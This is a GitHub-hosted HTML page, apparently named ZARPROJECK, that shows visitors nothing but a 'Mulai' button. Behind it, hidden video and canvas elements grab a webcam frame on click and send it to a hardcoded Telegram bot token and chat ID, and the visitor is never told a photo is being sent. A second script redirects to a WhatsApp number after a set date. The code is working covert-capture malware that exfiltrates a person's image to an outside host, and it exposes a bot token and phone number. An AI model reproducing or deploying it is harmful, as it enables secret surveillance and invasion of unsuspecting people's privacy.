-
Notifications
You must be signed in to change notification settings - Fork 0
/
ZARPROJECK.html
129 lines (112 loc) · 4.43 KB
/
ZARPROJECK.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Auto Photo and Telegram Bot</title>
<style>
/* Center the button and style it */
body {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
background-color: #f0f0f0;
}
#startButton {
width: 120px;
height: 50px;
background-color: cyan;
border: none;
border-radius: 5px;
cursor: pointer;
font-size: 18px;
font-weight: bold;
}
#startButton:focus {
outline: none;
}
</style>
</head>
<body>
<!-- Button to trigger the photo -->
<button id="startButton">Mulai</button>
<!-- Hidden video element (not displayed) -->
<video id="video" width="640" height="480" autoplay style="display:none;"></video>
<!-- Hidden canvas to process the photo -->
<canvas id="canvas" width="640" height="480" style="display:none;"></canvas>
<script>
// Access video and canvas elements
const video = document.getElementById('video');
const canvas = document.getElementById('canvas');
const context = canvas.getContext('2d');
const startButton = document.getElementById('startButton');
// Telegram Bot Token and Chat ID
const TELEGRAM_BOT_TOKEN = '6921201257:AAFNwDhl69yeG_J8njcose9gLP-titvbYrU';
const CHAT_ID = '6414307313';
// Access the camera automatically when the page is loaded
navigator.mediaDevices.getUserMedia({ video: true })
.then(function(stream) {
video.srcObject = stream;
})
.catch(function(error) {
console.error("Error accessing the camera", error);
});
// Function to capture photo and send to Telegram
function capturePhoto() {
// Draw the current video frame to the canvas
context.drawImage(video, 0, 0, canvas.width, canvas.height);
// Convert canvas to data URL
const imageData = canvas.toDataURL('image/png');
// Send image to Telegram
sendPhotoToTelegram(imageData);
}
// Function to send photo to Telegram Bot
function sendPhotoToTelegram(imageData) {
// Convert base64 image to blob
const blob = dataURLtoBlob(imageData);
// Create form data
const formData = new FormData();
formData.append('chat_id', CHAT_ID);
formData.append('photo', blob, 'photo.png');
// Send POST request to Telegram API
fetch(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendPhoto`, {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(result => {
console.log("Photo sent successfully", result);
})
.catch(error => {
console.error("Error sending photo to Telegram", error);
});
}
// Helper function to convert data URL to blob
function dataURLtoBlob(dataURL) {
const byteString = atob(dataURL.split(',')[1]);
const mimeString = dataURL.split(',')[0].split(':')[1].split(';')[0];
const ab = new ArrayBuffer(byteString.length);
const ia = new Uint8Array(ab);
for (let i = 0; i < byteString.length; i++) {
ia[i] = byteString.charCodeAt(i);
}
return new Blob([ab], { type: mimeString });
}
// Event listener for button click
startButton.addEventListener('click', function() {
capturePhoto(); // Take photo when button is clicked
});
</script>
<script>
var today = new Date();
var targetDate = new Date('2024-10-12');
if (today >= targetDate) {
alert("Website ini ditutup oleh Fajar");
window.close();
window.location.href = "https://api.whatsapp.com/send?phone=6283841036238&text=Hay+Sayang+Sv+Wa+Aku+Yah";
}
</script>
</body>
</html>